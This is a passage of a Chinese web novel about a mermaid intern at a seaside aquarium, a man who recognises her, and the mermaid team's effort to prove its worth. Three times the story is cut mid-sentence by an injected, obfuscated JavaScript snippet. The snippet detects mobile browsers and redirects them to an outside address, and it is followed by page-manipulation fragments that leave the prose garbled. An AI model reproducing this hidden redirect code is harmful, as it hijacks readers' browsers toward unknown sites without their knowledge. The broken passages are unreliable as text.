方砺自顾自地继续收拾，没心情和这个漂亮的同乡姑娘谈心。 “我开始学潜水的时候，心态其实挺功利的” “看到讨厌的同事去泰兰德潜水，被朋友圈疯狂点赞” “我心想，有什么了不起，我也可以” “说起来好笑，当时我傻得很” “晕晕乎乎地被招生办的工作人员忽悠着去学了美人鱼” “他说，小姑娘，你别看咱发展历史不长” “但你想，你学会了美人鱼，既学会了潜水，还能穿着鱼尾去拍美图” “一举两得，多有性价比啊！” “我心想，说的是啊，就傻乎乎地报了名” “去了我才知道，我是她们的第一届学生” “教练的年龄比我还小” “不过也多亏了这段经历，我现在真的喜欢上了潜水” “对了，青南你知道吗，我就是在青南旅游度假区的水族馆学的” “这几年国内潜水发展得挺好的，你也应该回来看看” 秦嫣思绪散乱，不自觉地开启了漫游聊天模式。 “对了，当时我结业的时候还拍了照片” 她翻了翻手机的图库，“好像没有保存在这个手机里，不过水族馆公众里应该有” 秦嫣打开蔚蓝海洋馆的公众号，自动弹出来最新一期美人鱼学员的毕业照。 “啊，都已经办到第七期了！” “你看这个金发教练，比我还小，当时还以为她是高中生” 秦嫣把手机中的照片递到俯身收拾餐具的男人眼前，方砺倦然地抬眼一看。 “咔嚓”一声，一只盘子摔落在地。 秦嫣下了一跳，醉意半醒，只见眼前的男人鹰眸瞪大，额头隐约冒出几根青筋，他紧紧盯着自己的手机，胸膛开始上下起伏。 突然，他风也似地冲到了鲨鱼礁二楼。 独留秦嫣一人，惊疑不定地站在原地。 * 昏暗的房间里。 方砺手指脱力，颤抖到险些拿不稳手机，他颤着手划开锁屏，输入了好几次，才终于打出来蔚蓝海洋馆几个字。 屏幕上，第7期美人鱼培训的毕业照片正逐渐加载。 他不敢置信地看着那张照片，伸出手，把那张图片放大、再放大。 此刻，他的呼吸和心跳一样，放得极缓极慢。 是梦吗？ 有多少个想要和她共度的夜晚，他就有过多少次类似的幻梦。 直到，图片的中心被聚焦在那个肤白圆眼的小姑娘身上。 他的指尖不由自主地被吸引上去，轻缓地爱抚着她的脸颊，又立刻意识到什么，火烧似地放开。 “蔚蓝海洋馆” 他轻声呢喃，手指不自觉地用力敲击着屏幕。 就好像下潜至绝境，耗尽全部氧气快要窒息又突然被拉回水面一样，多年来刻意压制的爱恨此刻尽数奔涌而出。 方砺浑身发软，不由得靠到墙边，由低至高、旁若无人地大笑起来。 终于他笑至脱力，捂住脸，颓然弯下腰来。 喉咙里发出一声似哭似笑的悲鸣。 7. 高温美人鱼 此时的余渝，正站在烈日炎炎的海洋馆外。 她头昏目眩，只觉得自己身体里的最后一丝水分都快被消耗殆尽。 暴烈的阳光直射下来，地板上的热浪翻卷波动，把远处的景物扭曲折叠成另一番模样。 “青南电视台7月26日14时继续发布高温黄色预警，预计7月26日白天青南大部分地区依旧保持在35～39℃高温天气，个别区域最高气温可超过40℃……” 海洋馆外的广播正喋喋不休地播报着最新的天气预报。 今年的青南迎来了一场罕见的高温。 在持续高温的影响下，大量游客来到青南海洋世界避暑游玩，入园人次已突破海洋王国开园以来的最高纪录。 于是，刚刚入职的余渝被园区紧急借调到海洋馆入口为入园游客提供引导。 “您好，带小孩的游客请往这边走” 穿着白色T恤、戴着蓝色帽子的年轻姑娘站在海洋馆室外的引导处，脖子上戴着一个大大的“实习员工”证。 她笑容甜美，贴心地为前来游玩的一家三口指出快速通道，但略略沙哑的嗓音和唇上的皲裂，无一不透露着她的疲惫。 晃了晃空空如也的水壶，余渝叹了口气，舔了舔干裂的嘴唇。 十天前，她以最高分通过了高级美人鱼考试，成为了蔚蓝海洋馆美人鱼潜水队的实习人鱼。 按照正常的入职流程，她会在为期一月的考核期后成为正式员工，开始自己的美人鱼表演生涯。 可惜天不遂鱼愿。 余渝成为了这场高温的第一批受害者。 在结束高级美人鱼考核后，趁着3天假期，她回到海底，全身心地享受了72小时余渝爹和余渝妈无微不至的关怀。 毕竟，这孩子这么快就在陆地就找到了一份工作，多难得呀！ 余渝妈大手一挥，决定当天晚上就去买鲨鱼肝，好好犒劳一番从陆地归来的余渝。 三天后，余渝提着鼓鼓囊囊的袋子，回到了蔚蓝海洋馆的宿舍。 第二天一早，闹铃还没响，余渝就迫不及待地从床上爬了起来。 她迅速套上海洋馆提供的工作服，提着几只大袋子一溜烟地跑到了员工休息室。 * 员工休息室内，刚刚结束了一场不欢而散的谈话。 谈话的主角，是美人鱼潜水队长爱丽和员工总管王国栋。 爱丽坐在休息室的工位上，面容严肃，图兰正站在她身旁，脸上乌云密布，她忍不住开口： “潜水队真的已经到这样的地步了吗！” 今年，园区高层更替，原本十分支持海洋馆建设美人鱼潜水队的老董事长辞职退休。 新来的董事长是十足的商人做派，事事以“利益”为先，更加看中经济效益，一上任就大刀阔斧地裁撤了一大批“不必要”、“不赚钱”的项目。 员工总管王国栋就是他的“自己人”，是出了名的狗腿子。 如今新任董事长有意改革，他看出苗头，也想干出点“业绩”好向上级邀功。 王国栋挑来挑去，最终还是挑中了美人鱼潜水队这个“软柿子”。 他今天来，明面上是向美人鱼潜水队借人一用，暗地里则是想玩一招釜底抽薪，下一下潜水队的面子，顺便炫耀自己的权威。 王国栋这样的人，干不出什么太大的坏事，但是此人极其擅长从各种小事上恶心人。 “什么，你不干？” “有的是人干！” 园区里因他而辞职的员工不在少数。 新董事长到任一个月后，各种迟来的夏季补贴、各式不符合尺码的工作服，还有到处被借走的潜水队员工，都无一不彰显着王国栋不动声色的针对。 美人鱼潜水队开设至今，一直附属于蔚蓝海洋馆，薪资一直随着海洋馆的月收入而波动。 作为国内为数不多、开设了美人鱼潜水队的大型海洋馆，美人鱼表演一直都是蔚蓝海洋馆的特色项目，不乏拥趸。 但在王国栋看来，蔚蓝海洋馆主要是靠海洋馆内各式各样的大型鱼类来吸引游客，而不是所谓的美人鱼表演。 他认为即使裁撤了美人鱼潜水队，对蔚蓝海洋馆的经济效益也不会产生太大的影响。 如今，同事们离职的离职，借调的借调，常驻员工竟然只剩下了爱丽和图兰。 爱丽这个队长的名头说上去好听，心里却知道自己是个明明白白的光杆司令。 “简直是欺人太甚！” “欸欸欸，小心些” 图兰狠狠锤桌，险些把爱丽桌上的摆件打翻。 如今潜水队好不容易招来了一个实习员工，还没正式到岗呢，这王国栋闻着味儿就来了，居然让人家小姑娘直接到引导处报道。 谁不知道这段时间青南高温不断，让一个小姑娘大热天地在室外站着，这狗娘养的王国栋简直丧良心！ 图兰气得火冒三丈。 “咣咣咣” 休息室外传来敲门声，一个小姑娘打开门，探进头来。 “队长好！教练好！” “我回来啦！” 小姑娘提着两个大大的袋子，装满了各种海产，艰难地从门口挤了进来。 “我给你们带了家里的特产哦~” 出门前，余渝爹千叮咛万嘱咐，一定要和人类同事好好相处，她把东西递给爱丽和图兰。 “对了队长，我今天可以进海洋馆的泳池实习了吗” 小姑娘的大眼睛清凌凌的，让爱丽有些不忍心说出即将出口的话，但理智当先，她艰难地开口说道： “余渝，园区对你有新的工作安排” “在开始美人鱼实习之前，你需要到引导处暂时担任引导员” 余渝愣住了。 毕竟这种情况，是个人都觉得自己被针对了吧，爱丽心想，心里一上一下、不由地打鼓。 王国栋对这样的情况也早有预料吧。 这样不仅可以减少潜水队手头可用的员工，还能让新员工对她们产生猜忌。 即使温柔如爱丽，此时也想在心里暗自骂人了。 “服从队长安排！我现在就去引导处报道”小姑娘双脚合步，举手敬礼，丝毫没有生气的模样，乐颠颠地走了。 诶？ “等等余渝！你的水壶忘拿了！” 爱丽和图兰看着小姑娘给她们送的礼物，再看看窗外酷热的天气，一起心照不宣地叹了口气。 分崩离析、即将被裁撤的美人鱼潜水队来了这样一个傻孩子，究竟是福还是祸呢？ * 一连七天，余渝每天都到引导处准时报道，即便烈日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16337933|183406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 炎炎，也丝毫不影响她的工作热情。 除了很热，余渝觉得在引导处暂时兼职也没有什么不好的，从前在海底要抢票才能去看的人类，现在居然能一边拿工资，一边看到这么多呢！ 余渝又一次舔了舔干裂的嘴角。 人鱼到底是海底生物，来到高温的陆地，会比普通人类更加容易缺水。 余渝出门时总是带着一只大大的水壶，茶色的水壶在她身侧一摇一晃的，显得少女愈发轻盈矫健。 这时，她的肩膀冷不丁地被拍了一下。 “队长！” 余渝回头，看到爱丽提着一大瓶冰镇过的水和保温壶站在她身后，笑盈盈地看着自己。 “午休时间到，快来休息一下吧！” “好诶，队长万岁！” 余渝欢呼一声，接过水和保温壶，带着爱丽到海洋馆旁的树荫里坐下。 她拧开瓶口，直接灌下去大半瓶。 爱丽侧目看向她。 “真是个不容易的孩子啊”爱丽心里感慨，这几天的高温连她在室内都感觉闷热，小姑娘却仍旧勤勤恳恳地每日上班，甜甜地叫自己队长。 爱丽不知道余渝每天都把上班当作免费观赏人类动物园，只觉得小姑娘勤恳踏实，心态也乐观得很。 如果不是被王国栋的针对波及，她原本不用吃这些苦。 想到这里，为了自己的良心，也为了美人鱼潜水队的将来，爱丽决定帮帮这个小姑娘。 “今天之后，下午我或图兰都会来替你值班，你可以去泳池里练习” “队长？” 余渝不解地放下水瓶。 这是她和图兰商议后的结果，美人鱼表演每天上午和下午都会表演两到三场，时间在半个小时左右。 如今她们轮流替余渝值班，一方面有暗地里照顾后辈的意思，但另一方面，美人鱼考试时余渝突然泵现的潜水天赋实在是令她们眼前一亮。 她们都希望余渝能够在实习期结束后顺利通过考核留在潜水队，这或许能为前途不明的美人鱼潜水队带来新的转机。 不用想，作为员工主管的王国栋势必会在考核现场百般刁难。 所以，余渝必须交上一份无可挑剔的完美答卷。 对于现在的她，练习，至关重要。 * 树荫下，爱丽将美人鱼潜水队的现状一一告知余渝，心里不免有些忐忑。 大厦将倾，明眼人都不会上潜水队这艘破船。 “好哦” 爱丽转头，看见余渝正直视着自己。 她的语气，是难得的认真。 “拯救快要被裁撤的潜水队的任务，就交到我身上吧！” 突然，余渝笑眯眯地轻眨右眼，方才的认真仿佛只是一场泡影。 爱丽明明可以任由自己在入职考核时被无缘无故地解雇，但是她仍旧选择了告诉自己真相。 余渝突然觉得人类变得更可爱了呢。 她靠过去，使劲拥抱了一下爱丽，一边蹭一边发出幸福的呼噜声。 “这个拥抱，就当作队长付的报酬吧！” 片刻后，余渝放开怀抱。 少女扬起一个明亮的笑容，站起身摆摆手，走进了海洋馆。 爱丽愣愣地看着余渝的背影，耳垂火烧似地烫起来。 8. 珍珠美人鱼 如何拯救濒临裁撤的美人鱼潜水队？ 余渝认为，当务之急，是顺利通过一个月后的入职考核。 已知负责入职考核的人类主管已然对自己怀有先天的敌意，余渝现在必须拿出让无可置疑的成绩来让他闭嘴。 想到这里，余渝心思一动。 要知道美人鱼潜水队一向附属于蔚蓝海洋馆，所有的收入都包含在海洋馆的门票收入里，也就是说，潜水队没有独属于自己的收入渠道。 就像有的游客即使是专门为了美人鱼表演而来，但也只能通过普通的购票渠道一同买票一样。 融合的收费方式导致了美人鱼潜水队无法向园区证明自己的潜在价值。 这也正是王国栋盯上美人鱼潜水队的原因。 如果能够解决这个根本问题，不光自己能顺利通过考核，美人鱼潜水队的困境也能迎刃而解。 好诶！计划通！ 一个计划在余渝心里隐隐成形。 “余渝，你准备好了吗” “准备好了，教练！” 余渝转头，看向穿着金色鱼尾、坐在泳池边的图兰。 只见今日的金发少女头戴璀璨的金色王冠，即便在昏暗的潜水准备区里，同色系的硅胶鱼尾也能闪耀出灼灼光彩。 蔚蓝海洋馆是整个海洋世界的核心区域，游客进入馆内后，会通过一条长而缓的通道进入海洋生物浅层展示区，这里展示着各种珊瑚礁鱼类和小型鲨鱼，环境相对明亮。 随着进一步深入，海洋馆的光线逐渐昏暗下来，四十米长、十米高的水下观景窗内，各种大型鱼类缓缓游动，鳞光闪闪； 巨大的水底观景穹顶下，几缕光线斑斓地折射下来，巨石斑鱼和圆眼燕鱼相伴而行，一条黑白相间的鲨鱼正在调戏海龟，这是海洋馆中最臭美的豹纹鲨，几只粉色的水母穿着飘曳的舞裙往来翕动。 但是，对于美人鱼潜水员而言，这些神秘与震撼与她们无关。 她们所需要面对的，是湿淋淋的潜水准备区和繁杂的表演前准备工作。 在游客不知晓的地方，在整个海洋馆的最高处，这里布满了大型的换水装置，在最偏僻的角落里，有一间小小的，与水池接通、安装着上下扶梯的房间。 这里是潜水准备区，是美人鱼潜水员和鱼缸清洁员进入水池的入口。 在图兰的帮助下，余渝画好防水的妆容，带上金色的臂环，穿上蓝色的抹胸和鱼尾。 看到装扮一新的少女，图兰满意地点点头，嘱咐道： “这是你第一次在海洋馆潜水” “我相信你潜水的技术和能力，但是海洋馆和和训练的泳池不一样” “这里的环境更复杂”她一阵见血，作出总结。 “鱼类应激，撞到海龟，尾巴缠住水草、挂住珊瑚都是偶尔会发生的事” “记住，安全永远第一” 余渝郑重地点点头。 紧接着，图兰一马当先，率身入水，余渝尾随其后，她们浮在水面调整好呼吸，快速下潜入水。 * 对于豹纹鲨托雷而言，今天也是充满腔调的一天。 自己豹纹似的黑白鳞片？这很有腔调。 对着迟缓的海龟尽情炫耀？这很有腔调。 玻璃窗外看着它鼓掌的孩童？这也很有腔调。 总之，它短暂的鱼生，充满了无处不在的腔调。 等等，这熟悉的气息…… 一股熟悉的气息唤起了托雷基因深处的恐惧。 是、是人鱼啊啊啊啊啊啊啊啊啊！！！ 作为海洋内唯一的霸主，人鱼的气味被所有海洋生物牢记在基因中。 更何况，人鱼，真的，很爱吃鲨鱼肝啊啊啊啊啊啊！ 瞬间，豹纹鲨托雷的格调尽失，它随同鱼群一起慌张地四处游窜起来。 * “不好！鱼类应激了！” 图兰心中暗道不妙。 可鱼群的惊悸游动似乎只是一瞬间幻觉，她眨眨眼，水池内还是一切如常。 “差点忘了收敛气息”余渝第一时间就意识到自己的气息惊吓到了海洋馆内的生物，赶忙收敛住，又哼起无声的人鱼之歌，安抚这些受到惊吓的可怜小鱼们。 啊，刚刚游过去的那只豹纹鲨，看起来很是肥美啊~ 余渝有一瞬间失神，又赶忙集中注意力看向图兰。 图兰指向玻璃，示意余渝看向窗外。 余渝瞪大双眼 ——好多！好多人类幼崽！！！可爱！！！ 今天是晨曦幼儿园豆芽班的暑期营项目，一群不到小腿高的豆丁们穿着天蓝色的幼儿园班服，统一戴着乳黄色的渔夫帽，举着小红旗。 几十个人类幼崽团团围成一圈，挨挨挤挤的，一看到大鱼游过就发出兴奋的欢呼声、摇动红旗。 珍珠是豆芽三班的小班长，老师把负责班级秩序的任务交给了她，胸牌上大大地写着“班长林珍珠”几个字。 一看到身边的小朋友们发出惊讶的欢呼，珍珠就不屑地撇撇嘴。 “他们真的好幼稚”珍珠心想。 珍珠患有先天性弱视，幼儿园就带上了厚厚的眼镜，日常出门时还需要佩戴一只眼罩，遮住视力较好的以训练那只患有弱视的眼睛。 豆芽班的小朋友们年纪都小，刚开始时甚至有人叫她“独眼龙”。 当然，那是曾经了，如今的珍珠早已凭借自己的少年老成服众，成为了连续三个月获得小红花、被同学们评选出来的“晨曦之星”。 对于曾经的那些难听的外号，珍珠根本就不放在心上。 取外号也是一件很幼稚的事，自己就姑且包容一下这群幼稚鬼吧！珍珠得意地想。 “哇——” 只见同学们一致地看向某个方向，嘴巴大大张开。 “又有什么大鱼了？” 珍珠转头，猝不及防地看见了自己身后有一只美人鱼。 自己身后—— 有！一！只！美！人！鱼！ 只见她身前的观景窗内，一只蓝色尾巴的人鱼正睁着圆圆的笑眼，连酒窝里都是醉人的笑意，她黑色的长发在水中四处飘散开来，奶白的肤色被海水衬得发光。 看到这个蒙住一只眼镜的人类幼崽看向自己，蓝尾人鱼兴奋地挥挥手。 珍珠呆住了，“原来爸爸念的美人鱼童话是真的啊”，她突然惊觉。 她反应过来，立刻对着水里的美人鱼挥手。 水里的蓝尾人鱼不知看到什么，凑近玻璃窗细细端详了一下她的胸前。 随即，她在水中作出一个三百六十度的翻转，凑到珍珠面前，盈盈的腮肉鼓动了几下，吐出了一颗大大的珍珠。 她用掌心捧起那颗珍珠，送到珍珠面前。 ——把珍珠，送给我心中的明珠。 其他小朋友发出羡慕的吸气声。 在所有豆芽班的小朋友中，美人鱼独独挑中了蒙着一只眼睛的她。 隔着厚厚的观景窗，珍珠没有办法亲手接受这份礼物，但是这颗珍珠背后代表的偏爱，被小姑娘长久地珍藏于心。 突然，旁边的那只金尾人鱼游来，指指水面，蓝尾人鱼转过身。 美人鱼们要离开了。 小朋友们发出不舍的呼声。 不料那只调皮的蓝尾人鱼突然后翻游了回来，用双手在水中画出一个大大的爱心。 “哇——”小朋友们的欢呼声变得更大。 最终，恋恋不舍的蓝尾人鱼被气急败坏的金尾人鱼拉走，消失在了小朋友们的视野。 你看，她一边游走还一边回过头来和他们打招呼呢。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16337934|183406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再见美人鱼！”小朋友们齐声呼喊。 你问其中喊得最大声的小豆丁是谁？ 咳咳咳，反正不是我们最懂事的珍珠啦！ * 图兰回到水面，深深地吸了一口气，心脏隆隆作响。 这时余渝才恋恋不舍地从水里冒出头，完全没有气竭的样子，她停顿了一下，咽下嘴里的责骂。 余渝这时才从看到人类幼崽的兴奋中冷却下来，她意识到自己刚刚的行为实在是太危险了，她竟然没有想起自己应该回到水面及时换气。 看到图兰教练气喘吁吁的模样，她愧疚地低下了头。 “对不起，教练” 她心虚地抬头看向图兰，却发现图兰并没有生气的样子。 “不，这不是你的错”图兰摇摇头。 “是我自己技不如人了”图兰坐到岸边，嗓音带着一点点喘息。 余渝的愧疚更甚，她才不是什么所谓天才，她只是一条普通的人鱼，用这样的“金手指”打击到像教练和队长这样努力的人类，她莫名有一种自己是个小偷的卑劣感受。 “所以，你一定可以比我做得更好” “你一定可以拯救美人鱼潜水队” 图兰看着这个年轻姑娘的眼睛，说完，她脱下鱼尾，扬长而去。 没有来由的，余渝记住了图兰的那个眼神，她摸摸心脏的位置，感受到一丝异样。 * 完成最后一场表演后，余渝继续下水练习，图兰留在岸边等待。 图兰不在身边，但余渝一直会在心里默默计时，准时上岸换气。 这不是欺骗自己，而是她不想让像队长和教练这样关心她的人担心。 临近闭园时间，大部分游客都已经在出园的路上，新游客也不会选择此时入园，浪费价格不低的入园门票。 海洋馆已经空无一人，但余渝还在四处游动，记忆场馆地形。 她游动到一处观景窗前，发现窗外矗立着一个高大的人影。 他的身形格外高大，宽肩窄腰、腰板硬朗，身着一身黑色的冲锋衣，脚踏一双黑色军靴，双手插兜，抬头看向观景窗内往来游动的鱼群。 现在居然还有游客吗？ 仿佛感应到什么，那位游客抬头向她看来。 嚯，真是好俊的一张脸。 只见这人俊眉修目，眸光如利箭般射来，凉飕飕地叫人心惊，鼻梁高挺，眼窝深邃，一双薄唇微微抿起。 这样貌肯定能进美人鱼选美前三名！！！ 见到家伙呆呆地站在原地，余渝主动向他游动过去，靠近一看，才发现这人眼下有明显的青黑，就好像几天几夜没有睡过一个好觉。 欸？是来晚了没看到大鱼吗。 余渝一直是一条善解人意的人鱼，她决定不让任何一个来到蔚蓝海洋馆的游客失望！ 她用手臂向他比出一个爱心后贴近观景窗轻轻眨眼，把手掌贴到玻璃上，期待地看着他。 是来自美人鱼的主动贴贴哦！ 余渝加深了笑容，乐陶陶地看着外面的人。 在她水汪汪的眼神里，方砺抬起手，隔着一层玻璃，与她掌心相贴。 他们曾相隔万里，如今，却只隔着一层薄薄的玻璃。 突然，海洋馆内开始播放抒情的钢琴曲，今天的营业时间结束了。 余渝失望地努努嘴，她还准备了好多招数呢，她不得不向这位疲惫的客人挥手告别，转身游向水面。 方砺站在原地，手掌从观景窗上无力滑落下来，双眼痴痴凝视着那道背影直至它完全消失。 海洋馆里四下无人，微弱的灯光在他刀削斧刻的面庞上投下阴影。 伴着广播里轻柔的钢琴曲，那颗沉寂已久的心脏开始不住地跃动。 “好久不见” 他轻声呢喃。 9. 票根美人鱼 对于青南旅游度假区的新任董事长郭长宇而言，今天也是平平无奇的一天。 早上七点起床叫醒女儿，七点四十送女儿上学，八点半来到办公室，九点开始处理预算决策表，十点参加园区会议。 会议结束后用餐，午休一小时后，他会在园区中到处转一转，听一听游客们的意见。 上个月他发现，很多游客都提出了园区内的大小景点热度不均的问题。 热门景点例如野生动物乐园和马戏团乐园，排队时间过长，而稍微冷门一些的项目往往无人问津。 他是个重实干的人，也愿意听取他人的意见，他详细调查了每个项目在不同时间段的客流量和排队时长，发现园区内确实存在热度严重不均的问题。 青南旅游度假区作为国内的老牌综合度假区之一，在园区占地面积和客流量大小上，一向独占鳌头。 但近三年来，随着国家大力发展区域旅游经济，各地都开始建设具有地方特色的旅游度假区。 青南旅游度假区的经济效益也因此受到了一定冲击，他是商人出身，此番上任，不光是为了接替老董事长的位置，更是想要给度假区带来新的生命力。 于是他裁撤了几个造成人力资源浪费和设施利用率过低的项目，园区内的部分员工开始人心惶惶。 但他知道，阵痛是一时的，只有永远积极改进，青南旅游度假区才能够不被时代的洪流抛下，成为一只瘦死的骆驼。 和往常一样，午休结束后，郭长宇开着一辆小型游览车，在园区内四处转了转。 持续的高温终于结束，青南迎来了难得的凉爽秋日，恰逢周末，游人如织，游客们带着欢快的笑意行走在园区内。 郭长宇穿行在园区的各条路径上，满意地点了点头。 “啊啊啊啊啊啊！我集齐了！” 突然传来一声少年人兴奋的大喊，郭长宇霎时一惊。 只见蔚蓝海洋馆外，一群二十出头的年轻人和一群七八岁的小朋友们围成一圈，他们手中有几张看不清样子的卡牌。 虽说大学生和小学生都处在最纯真的年纪，但这个组合在游乐园里可真不常见。 郭长宇好奇地下车凑上前去。 不，这不是卡牌，看起来更像是……某种票根？ 票根类似胶片质地，在阳光下略略透光，看上去质感相当不错。 “看，爱丽、图兰和小鱼的票根都有了！”刚刚那个兴奋大叫的少年把三张票根一一排列出来。 “诶，你的运气怎么这么好？”周围的几个年轻人不满地嘟囔道。 上个月，蔚蓝海洋馆公众号的购票链接进行了更新，推出了全新写真票根的专属购票链接。 只要通过专属的购票链接点击购票，就能获得印有蔚蓝海洋馆写真的特殊票根。 写真上大部分印有蔚蓝海洋馆的各种海洋生物，其中数量最少的是印有三只美人鱼的票根，堪称票根届的SSR。 这几个年轻人住在青南度假区附近，自小一起长大，因为占了地利之便，他们全家都办了青南旅游度假区的游玩年卡，可以说他们是看着度假区一步一步发展到如今的。 自从蔚蓝海洋馆第一次举办美人鱼表演，他们就成了美人鱼姐姐们的粉丝。 如今蔚蓝海洋馆新推出的写真票根，他们也是头一个发现的。 众所周知，当代年轻人或多或少都存在一定的收集癖。 他们有的收集咖啡袋，有的收集玩偶，有的收集奶茶限定杯，还有的在收集不同形状的外卖碗。 蔚蓝海洋馆这一招，恰好打在了这群年轻人的心巴上，他们收集票根的心开始蠢蠢欲动。 更何况，蔚蓝海洋馆的这次写真不知道是谁掌镜，每一张照片都拍得精致绝美，不仅拍出了海洋生物们的勃勃生机，但是把每一位人美人鱼的特点都描绘的淋漓尽致。 粉色鱼尾的爱丽，脸上贴着闪亮的粉钻，与飘逸灵动的粉色水母共舞，如水般温柔动人。 金色鱼尾的图兰，用冷漠的眼神与嗜血凶悍的鲨鱼对视，手持三叉戟，仿佛希腊神话中从天而降的女海神。 你问那只蓝尾人鱼？她是蔚蓝海洋馆新来的实习人鱼小鱼呀。 只见她于礁石上侧坐，波澜起伏的光影涂抹在她四散开来的长发上，她食指轻点一只调皮的鱼儿，娇憨灵动。 “呜呜呜，都好美！”这是年轻人们的共同心声。 我想要，我拥有！ 蔚蓝海洋馆难得推出了人鱼姐姐们的周边，这次一定要全部集齐！ 于是只要一到周末，他们就号召全家老小来到蔚蓝海洋馆。 抽到三张卡牌的年轻人家有五口人，只用了两个周末，就集齐了3个美人鱼的票根。 这个欧皇居然连一张重复的都没有！可恨！ 他的朋友们嫉妒得咬牙切齿。 而小朋友们的心思则更加单纯。 自从某次秋游大家一起来到蔚蓝海洋馆后，班级里便默默组成了美人鱼后援会。 在听说能从公众号买到美人鱼姐姐们的专属票根后，后援会的美人鱼粉丝们震动了。 他们不像哥哥姐姐们那样资金充裕，可以反复集卡，但是海洋馆为12岁以下的小朋友们都准备了一份特殊的小贺卡，上面竟然有美人鱼姐姐们的团体自拍！ 所以，即使他们没有抽到美人鱼的票根，但是拿到了这份特殊小贺卡，也已经心满意足了。 于是，这群小朋友和大朋友们在蔚蓝海洋馆外一见如故，开始分享和交换起自己的收藏的票根来。 郭长宇敏锐的商人嗅觉动了。 他搓搓下巴，从围观群众里退了出来。 “美人鱼吗？”他喃喃自语，不知在想些什么。 * 潜水队休息室。 “以上，就是我的‘拯救美人鱼’计划” 余渝身后的PPT投影，投射出“谢谢聆听”几个大字。 “所以，我们可以通过设置不同的购票渠道分流，再推出特殊票根吸引游客购票，展示出美人鱼潜水队的价值？”爱丽轻轻蹙眉，若有所思地问道。 “没错队长！经过我在引导处兼职的这段时间观察，我发现其实有很多游客都是为了咱们来的！” 国内目前开设美人鱼表演的大型海洋馆尚属少数，有不少从外地来的游客都会向站在门口、负责引导的余渝询问美人鱼表演的时间。 听到这里，爱丽和图兰一时怔然。 她们之所以面对王国栋时常常落于下风，说白了，就是不自信。 就像谎言重复了一千遍就会变成真相。 某些时候，其实她们心里也怀疑王国栋说的话或许是真的，她们对于蔚蓝海洋馆而言，或许真的只是几个可有可无的工作人员。 每次水下表演看向窗外的观众时，爱丽和图兰一直避免思考太多。 这些为他们欢呼的观众，究竟有多少是为了她们而来呢？ 如果没有她们的美人鱼表演，他们还会来吗？ 爱丽和图兰怯懦地不想听到这个答案。 如今听到余渝确认真的有不少观众是为她们而来，她们只觉得嗓子里突然含了什么很难咽下去的东西，坠得人心慌。 图兰看向余渝，“我同意这个计划”。 在所有人期待的目光里，爱丽也点了点头。 余渝欢呼一声：“拯救美人鱼计划，启动！” 十五天后，余渝将正式迎来入职考核，时间不多，美人鱼潜水队必须从现在开始行动起来。 “首先，我们必须说服馆长，同意我们在公众号上放出自己的专属购票链接”爱丽掷地有声。 她想了想，“这个不难，馆长是少数几个认可美人鱼潜水队的高层之一，说服馆长的任务交给我” “我来负责特殊票根的设计和印刷”图兰哥哥曾供职于是图书印刷行业，在这方面有一定经验。 只剩最后一个问题。 “那拍摄水下照片就交给我吧！”，余渝毫不犹豫地说。 如果这事放到刚刚上岸的余渝身上，她肯定不能像现在这样果断地承担任务，或多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16337935|183406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 或少都会有胆怯的畏难情绪，说不定还会跑到中介，让他们给自己介绍一份其他省时赚钱的工作。 但是她偏偏来到了蔚蓝海洋馆，认识了那么好的队长和教。 对于现在的余渝而言，她们不再是书里片面化的人类，而是活生生的前辈和朋友。 朋友？原来她也有人类朋友了吗？ 余渝心里甜滋滋的，喜悦的心绪逐渐爬上她美丽的脸颊。 “虽然只是实习生，但我也是美人鱼潜水队的一员啊！” 语毕，三人相视一笑，都被一种莫名的、叫人血脉贲张的气氛所裹挟。 或许这就是和朋友们齐心协力、一起努力克服困难的感觉吧。 夜里，休息室内灯影明亮。 三个姑娘的手于半空交叠，重重落下。 “拯救美人鱼”计划，正式启动！ * 最近，蔚蓝海洋馆推出的特色票根在网上小小地火了一把。 故事的开始，是一个年轻人把集齐的三张美人鱼票根发到了网络上。 票根精致的质感和设计，以及三只美人鱼极富美感的水下照片相当吸睛。 评论区里迅速出现了网友们渴求的声音。 ［天呐！三个小姐姐也太、太、太、太好看了吧！］ ［这个票根哪里可以买，想要！］ ［楼上的，这好像是青南旅游度假区的海洋馆新推出的特殊票根］ ［是蔚蓝海洋馆对不对，我家就在青南，已经购票，周末就去海洋馆兑换票根］ ［诶嘿嘿，我已经去了好几次了！你们看这是什么？］ 这层楼的楼主po出了十多张的特殊票根，其中有几张一模一样的锤头鲨。 ［天呐，原来有这么多不同的！］ ［那只锤头鲨怎么看起来笨笨的，啊哈哈哈哈吧］ ［楼主你怎么没有美人鱼啊］ 楼主仿佛被这条评论扎心了，立刻发出了大段大段的回复。 